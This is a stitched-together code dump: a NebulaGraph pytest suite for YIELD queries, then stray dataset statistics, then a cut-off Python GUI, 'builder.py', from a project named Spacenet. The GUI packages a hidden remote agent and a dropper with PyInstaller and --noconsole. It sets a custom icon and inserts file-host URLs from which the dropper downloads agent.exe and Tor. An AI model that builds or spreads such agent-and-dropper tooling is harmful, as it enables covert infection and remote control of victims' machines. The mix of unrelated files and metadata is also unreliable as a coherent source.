# --coding:utf-8-- # # Copyright (c) 2020 vesoft inc. All rights reserved. # # This source code is licensed under Apache 2.0 License, # attached with Common Clause Condition 1.0, found in the LICENSES directory. import pytest from nebula2.graph import ttypes from tests.common.nebula_test_suite import NebulaTestSuite class TestYield(NebulaTestSuite): @classmethod def prepare(self): self.use_nba() def test_base(self): query = 'YIELD 1' resp = self.execute(query) self.check_resp_succeeded(resp) self.check_column_names(resp, ['1']) self.check_result(resp, [[1]]) query = "YIELD 1+1, '1+1', (int)3.14, (string)(1+1), (string)true" resp = self.execute(query) self.check_resp_succeeded(resp) columns = [ "(1+1)", "1+1", "(INT)3.14", "(STRING)(1+1)", "(STRING)true" ] self.check_column_names(resp, columns) expect_result = [[2, "1+1", 3, "2", "true"]] self.check_result(resp, expect_result) query = 'YIELD "Hello", hash("Hello")' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["Hello", "hash(Hello)"] self.check_column_names(resp, columns) expect_result = [['Hello', 2275118702903107253]] self.check_result(resp, expect_result) def test_hash_call(self): query = 'YIELD hash("Boris")' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["hash(Boris)"] self.check_column_names(resp, columns) expect_result = [[9126854228122744212]] self.check_result(resp, expect_result) query = 'YIELD hash(123)' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["hash(123)"] self.check_column_names(resp, columns) expect_result = [[123]] self.check_result(resp, expect_result) query = 'YIELD hash(123 + 456)' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["hash((123+456))"] self.check_column_names(resp, columns) expect_result = [[579]] self.check_result(resp, expect_result) query = 'YIELD hash(123.0)' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["hash(123.0)"] # self.check_column_names(resp, columns) expect_result = [[-2256853663865737834]] self.check_result(resp, expect_result) # query = 'YIELD hash(!0)' # resp = self.execute(query) # self.check_resp_succeeded(resp) # columns = ["hash(!(0))"] # self.check_column_names(resp, columns) # expect_result = [[1]] # self.check_result(resp, expect_result) def test_logic(self): query = 'YIELD NOT FALSE OR FALSE AND FALSE XOR FALSE' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["((!(false) OR (false AND false)) XOR false)"] self.check_column_names(resp, columns) expect_result = [[True]] self.check_result(resp, expect_result) query = 'YIELD !false OR false AND false XOR true' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["((!(false) OR (false AND false)) XOR true)"] self.check_column_names(resp, columns) expect_result = [[False]] self.check_result(resp, expect_result) query = 'YIELD (NOT false OR false) AND false XOR true' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["(((!(false) OR false) AND false) XOR true)"] self.check_column_names(resp, columns) expect_result = [[True]] self.check_result(resp, expect_result) @pytest.mark.skip(reason="") def test_logic_2(self): query = 'YIELD NOT 0 OR 0 AND 0 XOR 0' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["((!(0) OR (0 AND 0)) XOR 0)"] self.check_column_names(resp, columns) expect_result = [[True]] self.check_result(resp, expect_result) query = 'YIELD !0 OR 0 AND 0 XOR 1' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["((!(0) OR (0 AND 0)) XOR 1)"] self.check_column_names(resp, columns) expect_result = [[False]] self.check_result(resp, expect_result) query = 'YIELD (NOT 0 OR 0) AND 0 XOR 1' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["(((!(0) OR 0) AND 0) XOR 1)"] self.check_column_names(resp, columns) expect_result = [[True]] self.check_result(resp, expect_result) query = 'YIELD 2.5 % 1.2 XOR 1.6' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["(2.500000000000000%(1.200000000000000 XOR 1.600000000000000))"] self.check_column_names(resp, columns) expect_result = [[2.5]] self.check_result(resp, expect_result) query = 'YIELD (5 % 3) XOR 1' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["((5%3) XOR 1)"] self.check_column_names(resp, columns) expect_result = [[3]] self.check_result(resp, expect_result) def test_in_call(self): query = 'YIELD 1 IN [0,1,2], 123' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["(1 IN [0,1,2])", "123"] self.check_column_names(resp, columns) expect_result = [[True, 123]] self.check_result(resp, expect_result) def test_yield_pipe(self): query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.team''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.team"] self.check_column_names(resp, columns) expect_result = [["Suns"], ["Hawks"], ["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.team WHERE 1 == 1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.team"] self.check_column_names(resp, columns) expect_result = [["Suns"], ["Hawks"], ["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.team WHERE $-.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.team"] self.check_column_names(resp, columns) expect_result = [["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.*''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.name", "$-.start", "$-.team"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2005, "Suns"], ["Boris Diaw", 2003, "Hawks"], ["Boris Diaw", 2012, "Spurs"], ["Boris Diaw", 2008, "Hornets"], ["Boris Diaw", 2016, "Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.* WHERE $-.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.name", "$-.start", "$-.team"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2012, "Spurs"], ["Boris Diaw", 2008, "Hornets"], ["Boris Diaw", 2016, "Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.*,hash(123) as hash WHERE $-.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.name", "$-.start", "$-.team", "hash"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2012, "Spurs", 123], ["Boris Diaw", 2008, "Hornets", 123], ["Boris Diaw", 2016, "Jazz", 123]] self.check_out_of_order_result(resp, expect_result) def test_yield_var(self): query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.team''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.team"] self.check_column_names(resp, columns) expect_result = [["Suns"], ["Hawks"], ["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.team WHERE 1 == 1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.team"] self.check_column_names(resp, columns) expect_result = [["Suns"], ["Hawks"], ["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.team WHERE $var.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.team"] self.check_column_names(resp, columns) expect_result = [["Spurs"], ["Hornets"], ["Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.*''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.name", "$var.start", "$var.team"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2005, "Suns"], ["Boris Diaw", 2003, "Hawks"], ["Boris Diaw", 2012, "Spurs"], ["Boris Diaw", 2008, "Hornets"], ["Boris Diaw", 2016, "Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.* WHERE $var.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.name", "$var.start", "$var.team"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2012, "Spurs"], ["Boris Diaw", 2008, "Hornets"], ["Boris Diaw", 2016, "Jazz"]] self.check_out_of_order_result(resp, expect_result) query = '''$var = GO FROM "Boris Diaw" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.*, hash(123) as hash WHERE $var.start > 2005''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.name", "$var.start", "$var.team", "hash"] self.check_column_names(resp, columns) expect_result = [["Boris Diaw", 2012, "Spurs", 123], ["Boris Diaw", 2008, "Hornets", 123], ["Boris Diaw", 2016, "Jazz", 123]] self.check_out_of_order_result(resp, expect_result) def test_error(self): query = 'YIELD $-' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SYNTAX_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD $var.team WHERE $-.start > 2005''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD $var.team WHERE $var1.start > 2005''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD $var.abc''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD $$.a.team''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD $^.a.team''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''$var = GO FROM "Boris Diaw" OVER serve YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team; \ YIELD a.team''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) query = '''GO FROM "Boris Diaw" OVER like | YIELD $-.abc;''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) @pytest.mark.skip(reason="") def test_calculate_overflow(self): query = '''YIELD 9223372036854775807+1''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD -9223372036854775807-2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD -9223372036854775807+-2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 1-(-9223372036854775807)''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 9223372036854775807*2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD -9223372036854775807*-2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 9223372036854775807*-2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD -9223372036854775807*2''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 1/0''' resp = self.execute(query) print(resp) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 2%0''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_EXECUTION_ERROR) query = '''YIELD 9223372036854775807''' resp = self.execute(query) self.check_resp_succeeded(resp) # Negation of -9223372036854775808 incurs a runtime error under UBSan query = '''YIELD -9223372036854775808''' resp = self.execute(query) self.check_resp_succeeded(resp) query = '''YIELD -2*4611686018427387904''' resp = self.execute(query) self.check_resp_succeeded(resp) query = '''YIELD -9223372036854775808*1''' resp = self.execute(query) self.check_resp_succeeded(resp) query = '''YIELD -9223372036854775809''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) def test_agg_call(self): query = '''YIELD COUNT(1), $-.name''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) # query = '''YIELD 1+COUNT(*), 1+1''' # resp = self.execute(query) # self.check_resp_succeeded(resp) # columns = ["(1+count(*))", "(1+1)"] # self.check_column_names(resp, columns) # expect_result = [[2, 2]] # self.check_result(resp, expect_result) query = '''YIELD COUNT(*), 1+1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["COUNT(*)", "(1+1)"] self.check_column_names(resp, columns) expect_result = [[1, 2]] self.check_result(resp, expect_result) query = '''GO FROM "Carmelo Anthony" OVER like YIELD $$.player.age AS age, like.likeness AS like \ | YIELD COUNT(*), $-.age''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) # Test input query = '''GO FROM "Carmelo Anthony" OVER like YIELD $$.player.age AS age, like.likeness AS like \ | YIELD AVG($-.age), SUM($-.like), COUNT(*), 1+1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["AVG($-.age)", "SUM($-.like)", "COUNT(*)", "(1+1)"] self.check_column_names(resp, columns) expect_result = [[34.666666666666664, 270, 3, 2]] self.check_result(resp, expect_result) # Yield field has not input query = '''GO FROM "Carmelo Anthony" OVER like | YIELD COUNT(*)''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["COUNT(*)"] self.check_column_names(resp, columns) expect_result = [[3]] self.check_result(resp, expect_result) query = '''GO FROM "Carmelo Anthony" OVER like | YIELD 1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["1"] self.check_column_names(resp, columns) expect_result = [[1], [1], [1]] self.check_result(resp, expect_result) # input is empty query = '''GO FROM "Nobody" OVER like | YIELD 1''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["1"] self.check_column_names(resp, columns) # Test var query = '''$var = GO FROM "Carmelo Anthony" OVER like \ YIELD $$.player.age AS age, like.likeness AS like; \ YIELD AVG($var.age), SUM($var.like), COUNT(*)''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["AVG($var.age)", "SUM($var.like)", "COUNT(*)"] self.check_column_names(resp, columns) expect_result = [[34.666666666666664, 270, 3]] self.check_result(resp, expect_result) def test_empty_input(self): query = '''GO FROM "NON_EXIST_VERTEX_ID" OVER serve \ YIELD $^.player.name AS name, serve.start_year AS start, $$.team.name AS team \ | YIELD $-.team''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$-.team"] self.check_column_names(resp, columns) expect_result = [] self.check_result(resp, expect_result) query = '''$var = GO FROM "NON_EXIST_VERTEX_ID" OVER serve YIELD \ $^.player.name as name, serve.start_year as start, $$.team.name as team; \ YIELD $var.team''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["$var.team"] self.check_column_names(resp, columns) expect_result = [] self.check_result(resp, expect_result) query = '''GO FROM "Marco Belinelli" OVER serve \ YIELD $^.player.name as name, serve.start_year as start, $$.team.name as team \ | YIELD $-.name as name WHERE $-.start > 20000 \ | YIELD $-.name AS name''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["name"] self.check_column_names(resp, columns) expect_result = [] self.check_result(resp, expect_result) def test_duplicate_columns(self): query = 'YIELD 1, 1' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["1", "1"] self.check_column_names(resp, columns) expect_result = [[1, 1]] self.check_result(resp, expect_result) query = '''GO FROM "Boris Diaw" OVER serve YIELD \ $^.player.name as team, serve.start_year as start, $$.team.name as team \ | YIELD $-.team''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) query = '''$var=GO FROM "Boris Diaw" OVER serve YIELD \ $^.player.name as team, serve.start_year as start, $$.team.name as team; \ YIELD $var.team''' resp = self.execute(query) self.check_resp_failed(resp, ttypes.ErrorCode.E_SEMANTIC_ERROR) def test_pipe_yield_go(self): query = '''GO FROM "Tim Duncan" OVER serve YIELD serve._src AS id | \ YIELD $-.id AS id | \ GO FROM $-.id OVER serve YIELD $$.team.name AS name''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["name"] self.check_column_names(resp, columns) expect_result = [["Spurs"]] self.check_result(resp, expect_result) query = '''$var = GO FROM "Tim Duncan" OVER serve YIELD serve._src AS id | YIELD $-.id AS id; \ GO FROM $var.id OVER serve YIELD $$.team.name AS name''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["name"] self.check_column_names(resp, columns) expect_result = [["Spurs"]] self.check_result(resp, expect_result) query = '''$var = GO FROM "Tim Duncan" OVER serve YIELD serve._src AS id; \ $var2 = YIELD $var.id AS id; \ GO FROM $var2.id OVER serve YIELD $$.team.name AS name''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ["name"] self.check_column_names(resp, columns) expect_result = [["Spurs"]] self.check_result(resp, expect_result) @pytest.mark.skip(reason="") def test_with_comment(self): query = 'YIELD 1--1' resp = self.execute(query) self.check_resp_succeeded(resp) expect_result = [[2]] self.check_result(resp, expect_result) query = 'YIELD 1-- 1' resp = self.execute(query) self.check_resp_succeeded(resp) expect_result = [[1]] self.check_result(resp, expect_result) query = 'YIELD 1 --1' resp = self.execute(query) self.check_resp_succeeded(resp) expect_result = [[1]] self.check_result(resp, expect_result) def test_map(self): query = 'yield {key1: true, key2: "hello"}["key2"]' resp = self.execute(query) self.check_resp_succeeded(resp) self.check_result(resp, [['hello']]) def test_constant_expression_with_where(self): query = 'YIELD 1+1, "Hello world!" WHERE true;' resp = self.execute(query) self.check_resp_succeeded(resp) self.check_result(resp, [[2, 'Hello world!']]) query = 'YIELD 1+1, "Hello world!" WHERE NULL;' resp = self.execute(query) self.check_resp_succeeded(resp) self.check_empty_result(resp) query = '''GO FROM "Tim Duncan", "Tim Duncan" OVER serve YIELD $$.team.name AS team | YIELD 1+1, "Hello world!" WHERE $-.team == "Spurs"''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ['(1+1)', 'Hello world!'] self.check_column_names(resp, columns) expect_result = [[2, 'Hello world!'], [2, 'Hello world!']] self.check_out_of_order_result(resp, expect_result) query = '''GO FROM "Tim Duncan", "Tim Duncan" OVER serve YIELD $$.team.name AS team | YIELD 1+1, "Hello world!" WHERE $-.team != "Spurs"''' resp = self.execute(query) self.check_resp_succeeded(resp) columns = ['(1+1)', 'Hello world!'] self.check_column_names(resp, columns) self.check_empty_result(resp)

41.418719

138

0.598002

3,145

25,224

4.624801

0.055962

0.107047

0.08044

0.107253

0.918872

0.90911

0.905191

0.893915

0.87219

0.829288

0

0.041517

0.262805

25,224

608

139

41.486842

0.740683

0.032112

0

0.696

0

0.052

0.30262

0.012343

0

1

0.034

false

0

0.006

0

0.042

0.002

0

null

0

1

0

null

0

6

83c459068bd85f21f489a1e9f758cefc822ff62c

113,756

py

Python

Software/Agent/Builder/builder.py

4n6strider/Spacenet

44e7acfc3d76a38623643ad4057403ad364cf253

[ "MIT" ]

1

2019-10-08T12:14:27.000Z

Software/Agent/Builder/builder.py

evil5hadow/Spacenet

44e7acfc3d76a38623643ad4057403ad364cf253

[ "MIT" ]

null

Software/Agent/Builder/builder.py

evil5hadow/Spacenet

44e7acfc3d76a38623643ad4057403ad364cf253

[ "MIT" ]

2

2020-04-18T06:19:42.000Z

2021-03-26T02:11:25.000Z

import tkinter import tkFont import ttk import ctypes import time import tkFileDialog import os import sys import shutil from pathlib import Path from PIL import Image, ImageTk from threading import Thread MB_OK = 0x0 MB_OKCXL = 0x01 MB_YESNOCXL = 0x03 MB_YESNO = 0x04 MB_HELP = 0x4000 ICON_EXLAIM=0x30 ICON_INFO = 0x40 ICON_STOP = 0x10 agentdir = "" dropperdir = "" labelwin = "Builder" FLAG_BUILDER_SHOW = True FLAG_SETTINGS_SHOW = False FLAG_INFORMATION_SHOW = False FLAG_BUILD_DROPPER = True ftypes = [ ('Python code files', 'settings.py'), ] ftypes1 = [ ('Icons', '*.ico'), ] def build(QUERY): os.system(QUERY) def callback(): global agentdir , dropperdir , FLAG_BUILD_DROPPER listbox.select_set(0) listbox.event_generate("<<ListboxSelect>>") top.update() listbox1.insert(tkinter.END,"[*] This window may stop working for some moments while ") listbox1.itemconfig("end", bg = "red" if "[*] This window may stop working for some moments while generating agent, do not operate on the window while generating." < 0 else "red" , fg = "yellow") listbox1.insert(tkinter.END,"generating agent, do not operate on the window while generating.") listbox1.itemconfig("end", bg = "red" if "generating agent, do not operate on the window while generating." < 0 else "red" , fg = "yellow") if agentdir == "": ctypes.windll.user32.MessageBoxA(0, "The Configuration File Must Be Loaded!", "[-]Error", MB_OK | ICON_STOP) pass else: # Checking for pyinstaller if os.name == 'nt': my_file = Path("c:\\Python27\\Scripts\\pyinstaller.exe") if my_file.is_file(): listbox1.insert(tkinter.END,"[+] Pyinstaller Found !") listbox1.itemconfig("end", bg = "red" if "[+] Pyinstaller Found !" < 0 else "green") listbox1.see("end") else: listbox1.insert(tkinter.END,"[-] Pyinstaller Not Found !") listbox1.itemconfig("end", bg = "red" if "[-] Pyinstaller Not Found !" < 0 else "red") listbox1.see("end") ctypes.windll.user32.MessageBoxA(0, "Can't Find Pyinstaller", "[-]Error", MB_OK | ICON_STOP) pass listbox1.insert(tkinter.END,"[*] Building Agent ...") listbox1.see("end") progress['value']=10 top.update_idletasks() if os.name == 'nt': QUERY = 'cd C:\Python27\Scripts && pyinstaller.exe ' else: QUERY = 'pyinstaller ' listbox1.insert(tkinter.END,"[*] Building Query ...") listbox1.see("end") # Generating Command To Compile if var1.get() == 1: QUERY += '--onefile ' if var2.get() == 1: QUERY += '--windowed ' if var3.get() == 1: QUERY += '--log-level DEBUG ' if var4.get() == 1: QUERY += '--noconsole ' progress['value']=30 top.update_idletasks() output_folder = "" if pathfileconf23.get() != "": output_folder = pathfileconf23.get() + "\\agent.exe" if pathfileconf2.get() != "": agentname = pathfileconf2.get() if ".exe" in agentname: pass else: agentname = agentname + ".exe" output_folder = output_folder.replace("\\agent.exe","\\%s" % agentname) listbox1.insert(tkinter.END,"[*] Adding Additional Settings ...") listbox1.see("end") progress['value']=50 top.update_idletasks() QUERY += agentdir #print QUERY thread = Thread(target = build, args = (QUERY, )) thread.start() listbox1.insert(tkinter.END,"[*] Passing work to Pyinstaller ...") listbox1.see("end") progress['value']=70 top.update_idletasks() listbox1.insert(tkinter.END,"[+] Built Agent !") listbox1.itemconfig("end", bg = "red" if "[+] Built .exe !" < 0 else "green") listbox1.see("end") listbox1.insert(tkinter.END,"[*] Checking Last Settings ...") listbox1.see("end") if output_folder != "": if os.name == 'nt': while True: my_file = Path("c:\\Python27\\Scripts\\dist\\agent.exe") if my_file.is_file(): shutil.move("c:\\Python27\\Scripts\\dist\\agent.exe", output_folder) break else: pass time.sleep(1) else: while True: my_file = Path("agent.exe") if my_file.is_file(): shutil.move("agent.exe",output_folder) break else: pass time.sleep(1) progress['value']=75 top.update_idletasks() listbox1.insert(tkinter.END,"[+] Agent Successfully Generated !") listbox1.itemconfig("end", bg = "red" if "[+] Agent Successfully Generated" < 0 else "green") listbox1.see("end") thread.join() if var5.get() == 1: listbox1.insert(tkinter.END,"[*] Building Dropper ... ") listbox1.see("end") if os.name == 'nt': QUERY_DROPPER = 'cd C:\Python27\Scripts && pyinstaller.exe ' else: QUERY_DROPPER = 'pyinstaller ' # Generate TMP file Builder in_file = open(dropperdir,"r") text = in_file.read() in_file.close() icon = pathfileconf1.get() if icon != "": QUERY_DROPPER += "--icon=%s " % icon if torentry.get() != "": TOR_URL = torentry.get() text = text.replace("https://srv-file1.gofile.io/download/K6gdma/8fb9f6d1255a84d750cdccbe78e585f0/Tor.zip", TOR_URL) if winpentry.get() != "": WINP_URL = winpentry.get() text = text.replace("https://github.com/boundary/winpcap-installer/archive/master.zip", WINP_URL) if agentry.get() != "": AGENT_URL = agentry.get() text = text.replace("https://srv-file1.gofile.io/download/6RGYMZ/8fb9f6d1255a84d750cdccbe78e585f0/agent.exe", AGENT_URL) finaldir = dropperdir.replace("dropper.py", "tmp_drp.py") out_file = open(finaldir,"w") out_file.write(text) out_file.close() progress['value']=80 top.update_idletasks() listbox1.insert(tkinter.END,"[+] Generated TMP file ... ") listbox1.itemconfig("end", bg = "red" if "[+] Generated TMP file ... " < 0 else "green") listbox1.see("end") QUERY_DROPPER += "--onefile --noconsole %s" %finaldir thread1 = Thread(target = build, args = (QUERY_DROPPER, )) thread1.start() listbox1.insert(tkinter.END,"[*] Passing work to Pyinstaller ...") listbox1.see("end") progress['value']=85 top.update_idletasks() thread1.join() listbox1.insert(tkinter.END,"[+] Built Dropper !") listbox1.itemconfig("end", bg = "red" if "[+] Built Dropper !" < 0 else "green") listbox1.see("end") listbox1.insert(tkinter.END,"[*] Checking Last Settings ...") listbox1.see("end") if output_folder != "": while True: my_file = Path("c:\\Python27\\Scripts\\dist\\tmp_drp.exe") if my_file.is_file(): shutil.move("c:\\Python27\\Scripts\\dist\\tmp_drp.exe", pathfileconf23.get() + "\\dropper.exe") break else: pass time.sleep(1) else: shutil.move("c:\\Python27\\Scripts\\dist\\tmp_drp.exe", "c:\\Python27\\Scripts\\dist\\dropper.exe") progress['value']=100 os.remove(finaldir) top.update_idletasks() listbox1.insert(tkinter.END,"[*] Removing TMP file ...") listbox1.see("end") listbox1.insert(tkinter.END,"[+] Dropper Successfully Generated !") listbox1.itemconfig("end", bg = "red" if "[+] Dropper Successfully Generated !" < 0 else "green") listbox1.see("end") result = ctypes.windll.user32.MessageBoxA(0, "Everything Built Successfully!", "[+]Success", MB_OK | ICON_INFO) progress['value']=0 top.update_idletasks() sys.exit(1) def brows(): global agentdir , dropperdir listbox1.insert(tkinter.END,"[*] Loading Configuration File ...") listbox1.insert(tkinter.END,"") filename = tkFileDialog.askopenfilename(filetypes=ftypes) separator = "----------------------------------------------------------------------------------------------" if filename != "": pathfileconf.insert(0,filename) with open(filename) as f: listbox1.insert(tkinter.END,separator) listbox1.itemconfig("end", bg = "red" if separator < 0 else "red", fg = "yellow") listbox1.insert(tkinter.END,"") for line in f: listbox1.insert(tkinter.END," " + line) listbox1.insert(tkinter.END,"") listbox1.insert(tkinter.END,separator) listbox1.itemconfig("end", bg = "red" if separator < 0 else "red", fg = "yellow") listbox1.insert(tkinter.END,"") agentdir = os.path.dirname(filename) + "\\agent.py" agentdir = agentdir.replace("/","\\") dropperdir = os.path.dirname(filename) + "\\Dropper\\dropper.py" dropperdir = dropperdir.replace("/","\\") listbox1.insert(tkinter.END,"") listbox1.insert(tkinter.END,"[+] Configuration File Set Successfully!") listbox1.itemconfig("end", bg = "red" if "[+] Configuration File Set Successfully!" < 0 else "green") listbox1.see("end") listbox1.insert(tkinter.END,"[!] Possible Agent Path : ") listbox1.itemconfig("end", bg = "red" if "[!] Possible Agent Path :" < 0 else "yellow") listbox1.insert(tkinter.END,"%s" % agentdir ) listbox1.itemconfig("end", bg = "red" if "%s" % agentdir < 0 else "yellow") listbox1.insert(tkinter.END,"[!] Possible Dropper Path : ") listbox1.itemconfig("end", bg = "red" if "[!] Possible Dropper Path :" < 0 else "yellow") listbox1.insert(tkinter.END,"%s" % dropperdir ) listbox1.itemconfig("end", bg = "red" if "%s" % dropperdir < 0 else "yellow") listbox1.see("end") else: listbox1.insert(tkinter.END,"[-] No File Selected.") listbox1.insert(tkinter.END,"") def brows1(): global pathfileconf1 filename1 = tkFileDialog.askopenfilename(filetypes=ftypes1) if filename1 != "": pathfileconf1.insert(0,filename1.replace("/","\\")) else: pass def brows2(): global pathfileconf2 folder = tkFileDialog.askdirectory() if folder != "": pathfileconf23.insert(0,folder.replace("/","\\")) else: pass def onselect(evt): global FLAG_BUILDER_SHOW, FLAG_INFORMATION_SHOW, FLAG_SETTINGS_SHOW , FLAG_BUILD_DROPPER , labelwin , pathfileconf1, pathfileconf2 w = evt.widget index = int(w.curselection()[0]) value = w.get(index) if value == "Settings": # Showing Builder Window frame.place_forget() src.place_forget() pathfileconf.place_forget() browser.place_forget() edit.place_forget() labelframe2.place_forget() labelframe1.place_forget() listbox1.pack_forget() scrollbar.pack_forget() labelframe3.place(x=230,y=200) cve.place(x=240,y=220) wme.place(x=240,y=250) con.place(x=240,y=280) dbe.place(x=240,y=310) bdr.place(x=350,y=310) src1.place(x=240,y=340) pathfileconf1.place(x=312,y=340) pathfileconf1.place(x=312,y=340) browser1.place(x=520,y=337) src2.place(x=240,y=370) pathfileconf23.place(x=350,y=370) browser2.place(x=520,y=367) outexe.place(x=240,y=400) pathfileconf2.place(x=350,y=400) # NEw labelframe4.place(x=241,y=425) torlbl.place(x=250,y=446) 